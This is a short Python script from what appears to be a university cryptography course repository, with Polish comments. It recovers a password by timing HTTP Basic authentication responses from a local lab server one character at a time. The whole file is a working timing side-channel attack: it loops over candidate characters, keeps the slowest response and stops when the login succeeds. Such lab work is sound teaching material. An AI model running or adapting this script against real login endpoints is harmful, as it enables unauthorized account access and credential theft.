kryptografia-semestr-8/bezp.py.txt

63 lines
1.7 KiB
Plaintext
Raw Normal View History

2024-06-18 22:04:24 +02:00
import datetime
import time
import requests
from requests.auth import HTTPBasicAuth
import string
url = "http://localhost:1234/authentication/example2/"
username = "hacker"
print(string.ascii_lowercase + string.digits)
# czasem pierwsze zapytanie jest wolne
requests.get(
url=url,
auth=HTTPBasicAuth(username, "haslo")
)
haslo = ""
# zeby sprawdzic tylko ostatni krok
# haslo="p4ssw0r"
for i in range(24):
odgadnieto = False
najdluzszy_czas = None
najdluzszy = None
for c in (string.ascii_lowercase + string.digits):
#czasy = []
# czasem spowolnienia sa losowe wiec sprawdzam trzy razy
#for i in range(3):
# przeczekanie spowolnienia serwera
#time.sleep(0.5)
#url_response = requests.get(
# url=url,
# auth=HTTPBasicAuth(username, haslo + c)
#)
#czasy.append(url_response.elapsed)
# jako poprawny traktowany srodkowy czas
# czas=min(czasy)
#czasy.sort()
#czas = czasy[0]
#print(c, czasy[0], czasy[1], czasy[2])
url_response = requests.get(
url=url,
auth=HTTPBasicAuth(username, haslo + c)
)
czas = url_response.elapsed
print(f"Sprawdzam: {haslo + c} Czas: {czas}")
if najdluzszy_czas is None or czas >= najdluzszy_czas:
najdluzszy_czas = czas
najdluzszy = c
if url_response.status_code == 200:
odgadnieto = True
najdluzszy = c
haslo += c
print("weszlo")
print(haslo)
break
haslo = haslo + najdluzszy
if odgadnieto:
break
print(haslo)